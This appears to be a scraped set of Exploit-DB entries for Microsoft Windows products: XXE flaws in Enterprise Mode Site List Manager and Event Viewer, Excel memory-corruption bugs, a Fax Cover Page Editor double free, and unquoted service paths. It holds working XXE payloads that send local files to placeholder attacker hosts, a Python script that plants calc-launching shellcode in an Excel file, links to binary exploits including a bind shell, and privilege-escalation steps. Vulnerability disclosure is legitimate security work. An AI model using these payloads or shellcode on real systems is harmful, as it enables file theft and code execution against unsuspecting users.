deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45026
Description: Microsoft Enterprise Mode Site List Manager - XML External Entity Injection
Type: local
Platform: windows
Date: 2018-07-16
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-ENTERPRISE-MODE-SITE-LIST-MANAGER-XXE.txt
[+] ISR: Apparition Security          
 

***Greetz: indoushka | Eduardo***  


Vendor
=============
www.microsoft


Product
===========
Enterprise Mode Site List Manager
versions(1/2)


You can use IE11 and the Enterprise Mode Site List Manager to add individual website domains and domain paths
and to specify whether the site renders using Enterprise Mode or the default mode.



Vulnerability Type
===================
XML External Entity Injection



CVE Reference
==============
N/A


Security Issue
================
Versions 1 and 2 of Microsoft Enterprise Mode Site List Manager allow local file exfiltration to a remote attacker controlled server, if the user is tricked
into using an attacker supplied ".emie" site list manager file type.



Exploit/POC
=============
1) python -m SimpleHTTPServer



2) POC.emie

<?xml version="1.0"?>  
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ADVERSARY-IP:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


3) payload.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ADVERSARY-IP:8000?%file;'>">
%all;


Import the POC.emie into Enterprise Mode Site List Manager, then remote attackers will recieve local user files... nice.


Network Access
===============
Remote




Severity
=========
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #40863
Description: Microsoft Event Viewer 1.0 - XML External Entity Injection
Type: local
Platform: windows
Date: 2016-12-05
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec

[+] CVE: CVE-2019-0948


Vendor:
=================
www.microsoft.com



Product:
========================
Microsoft Event Viewer
Version: 1.0

The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.


Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).



Tested Windows 7 SP1


Exploit code(s):
===============


1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.

User gets error like "The specified custom view is not valid" attacker gets
files!



"payload.dtd" (host on attacker server)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;


"MyCustomView.xml"  (malicious windows Event Custom View XML)

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Attacker server listener

python -m SimpleHTTPServer 8080




Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Exploit-DB #5287
Description: Microsoft Excel - Code Execution (MS08-014)
Type: local
Platform: windows
Date: 2008-03-21
Author: zha0

Exploit:
Microsoft Office Excel Code Execution Exploit (MS08-014)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5287.rar (2008-zha0_ms08_014.rar)

# milw0rm.com [2008-03-21]
Exploit-DB #15094
Description: Microsoft Excel - OBJ Record Stack Overflow
Type: local
Platform: windows
Date: 2010-09-24
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15094.zip (moaub-24-excel-exploit.zip)
'''

'''
  
  Title               :  Microsoft Excel OBJ Record Stack Overflow
  Version             :  Excell 2002 and XP (SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0822

'''


import sys

def main():
   
    try:
		fdR = open('src.xls', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:36640]
		str2 = strTotal[37440:]
				
		# shellcode calc.exe
		shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'
		
		if len(shellcode) > 800:
			print "[*] Error : Shellcode length is long"
			return
		if len(shellcode) <= 800:
			dif = 800 - len(shellcode)
			while dif > 0 :
				shellcode += '\x90'
				dif = dif - 1
				
		fdW= open('exploit.xls', 'wb+')
		fdW.write(str1)		
		fdW.write(shellcode)
		fdW.write(str2)
		
		fdW.close()
		fdR.close()
		print '[-] Excel file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()
Exploit-DB #39694
Description: Microsoft Excel - Out-of-Bounds Read Code Execution (MS16-042)
Type: local
Platform: windows
Date: 2016-04-14
Author: Sébastien Morin

Exploit:
#######################################################################################

# Title: Microsoft Office Excel Out-of-Bounds Read Remote Code Execution
# Application: Microsoft Office Excel
# Affected Products: Microsoft Office Excel 2007,2010,2013,2016
# Software Link: https://products.office.com/en-ca/excel
# Date: April 12, 2016
# CVE: CVE-2016-0122 (MS16-042)
# Author: Sébastien Morin from COSIG
# Contact: https://twitter.com/COSIG_ (@COSIG_)
# Personal contact: https://smsecurity.net/; https://twitter.com/SebMorin1 (@SebMorin1)

#######################################################################################

===================
Introduction:
===================

Microsoft Excel is a spreadsheet developed by Microsoft for Windows, Mac OS X, and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. It has been a very widely applied spreadsheet for these platforms, especially since version 5 in 1993, and it has replaced Lotus 1-2-3 as the industry standard for spreadsheets. Excel forms part of Microsoft Office.

(https://en.wikipedia.org/wiki/Microsoft_Excel)

#######################################################################################

===================
Report Timeline:
===================

2016-02-06: Sébastien Morin from COSIG report the vulnerability to MSRC.
2016-02-16: MSRC confirm the vulnerability.
2016-04-12: Microsoft fixed the issue (MS16-042).
2016-04-13: Advisory released.
#######################################################################################

===================
Technical details:
===================

This vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file (.xlsm). An attacker who successfully exploited the vulnerabilities could run arbitrary code in the context of the current user.

#######################################################################################

==========
POC:
==========

https://smsecurity.net/wp-content/uploads/2016/04/Microsoft_Office_Excel_Out-of-Bounds_Read_RCE.xlsm
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39694.zip

#######################################################################################
Exploit-DB #52332
Description: Microsoft Excel Use After Free - Local Code Execution
Type: local
Platform: windows
Date: 2025-06-15
Author: nu11secur1ty

Exploit:
# Titles: Microsoft Excel Use After Free - Local Code Execution
# Author: nu11secur1ty
# Date: 06/09/2025
# Vendor: Microsoft
# Software: https://www.microsoft.com/en/microsoft-365/excel?market=af
# Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751
# Versions: MS Excel 2016, MS Office Online Server KB5002699
# CVE-2025-27751

## Description:
The attacker can trick any user into opening and executing their code by
sending a malicious DOCX file via email or a streaming server.
After the execution of the victim, his machine can be infected or even
worse than ever; this could be the end of his Windows machine!

STATUS: HIGH-CRITICAL Vulnerability


[+]Exploit:

```
Sub hello()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
---------------------------------------
Program = "WRITE YOUR OWN EXPLOIT HERE"
TaskID = ...YOUR TASK HERE...
---------------------------------------
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
```

# Reproduce:
[href](https://www.youtube.com/watch?v=ArI0ZeChYE4)

# Buy an exploit only:
[href](https://satoshidisk.com/pay/COb5oS)

# Time spent:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #50868
Description: Microsoft Exchange Active Directory Topology 15.0.847.40 - 'Service MSExchangeADTopology' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-19
Author: Antonio Cuomo

Exploit:
# Exploit Title: Microsoft Exchange Active Directory Topology 15.0.847.40 - 'Service MSExchangeADTopology' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-04-11
# Vendor : Microsoft
# Version : 15.0.847.40
# Tested on OS: Microsoft Exchange Server 2013 SP1

#PoC :
==============

C:\>sc qc MSExchangeADTopology
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: MSExchangeADTopology
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Directory.TopologyService.exe
        GRUPPO_ORDINE_CARICAMENTO : 
        TAG                       : 0
        NOME_VISUALIZZATO         : Microsoft Exchange Active Directory Topology
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51212
Description: Microsoft Exchange Active Directory Topology 15.02.1118.007 - 'Service MSExchangeADTopology' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-03
Author: Milad karimi

Exploit:
# Exploit Title: Microsoft Exchange Active Directory Topology 15.02.1118.007 - 'Service MSExchangeADTopology' Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2023-01-18
# Vendor : Microsoft
# Version : 15.02.1118.007
# Tested on OS: Microsoft Exchange Server 2019 CU12

#PoC :
==============

C:\>sc qc MSExchangeADTopology
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: MSExchangeADTopology
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Directory.TopologyService.exe
        GRUPPO_ORDINE_CARICAMENTO : 
        TAG                       : 0
        NOME_VISUALIZZATO         : Microsoft Exchange Active Directory Topology
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50867
Description: Microsoft Exchange Mailbox Assistants 15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-19
Author: Antonio Cuomo

Exploit:
# Exploit Title: Microsoft Exchange Mailbox Assistants  15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-04-11
# Vendor : Microsoft
# Version : 15.0.847.40
# Tested on OS: Microsoft Exchange Server 2013 SP1

#PoC :
==============

C:\>sc qc MSExchangeMailboxAssistants
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: MSExchangeMailboxAssistants
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files\Microsoft\Exchange Server\V15\Bin\MSExchangeMailboxAssistants.exe
        GRUPPO_ORDINE_CARICAMENTO : 
        TAG                       : 0
        NOME_VISUALIZZATO         : Microsoft Exchange Mailbox Assistants
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #16024
Description: Microsoft Fax - Cover Page Editor 5.2.3790.3959 Double-Free Memory Corruption
Type: local
Platform: windows
Date: 2011-01-24
Author: Luigi Auriemma

Exploit:
Source: http://aluigi.org/adv/fxscover_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  Microsoft Fax Cover Page Editor
              http://windows.microsoft.com/en-US/windows-vista/Create-or-edit-a-fax-cover-page
Versions:     <= 5.2.3790.3959
Platforms:    Windows
Bug:          double free
Exploitation: local
Date:         19 Jan 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Fax Cover Page Editor is a program for the viewing and editing of
various formats of fax cover files.


#######################################################################

======
2) Bug
======


fxscover.exe is available on Windows after the installation of the Fax
Service.

The various "Text" elements have a 16bit field that seems used to index
them and by default it has a negative value like 0x8001.
By using a positive value major than 0 and lower than the total number
of elements is possible to cause a problem during the freeing of the
allocated object.

The provided proof-of-concept demonstrates the possibility of executing
code immediately after the acknoledgement of the initial message box
when is called FXSCOVER!CDrawDoc::Remove by
FXSCOVER!CDrawDoc::DeleteContents.

Modifications:
00005098   FE       CC  // code execution starts from here
000093F5   01       04  // 16bit in little endian
000093F6   80       00

Alternatively is also possible to exploit the bug when the program gets
closed or another file is opened by modifying the 16 bit at offset
0x94a5 instead of the one at 0x93f5, so that the file will be
considered valid.


#######################################################################

===========
3) The Code
===========

DoS:
http://aluigi.org/poc/fxscover_1.cov
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/16024-fxscover_1.cov

Bind Shell:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/fxscover_1_bind28876.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #50776
Description: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-21
Author: Johto Robbie

Exploit:
# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
# Discovery by: Johto Robbie
# Discovery Date: May 12, 2021
# Tested Version: 2.52.13001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 Home

# Step to discover Unquoted Service Path:

Go to Start and type cmd. Enter the following command and press Enter:

C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

Gaming Services
        GamingServices           C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe



                                                                        Auto

Gaming Services
        GamingServicesNet        C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe



                                                                     Auto

C:\Users\Bang's>sc qc "GamingServices"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GamingServices

        TYPE               : 210  WIN32_PACKAGED_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Gaming Services

        DEPENDENCIES       : staterepository

        SERVICE_START_NAME : LocalSystem

This application have no quote . And it contained in C:\Program Files. Put
mot malicious aplication with name "progarm.exe"

Stop & Start: GamingServices. "progarm.exe" will be execute

#Exploit:

An unquoted service path in
Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to
privilege escalation during the installation process that is performed when
an executable file is registered. This could further lead to complete
compromise of confidentiality, Integrity and Availability.

#Timeline
May 12, 2021 - Reported to Microsoft
Feb 11, 2022 - Confirmed vulnerability has been fixed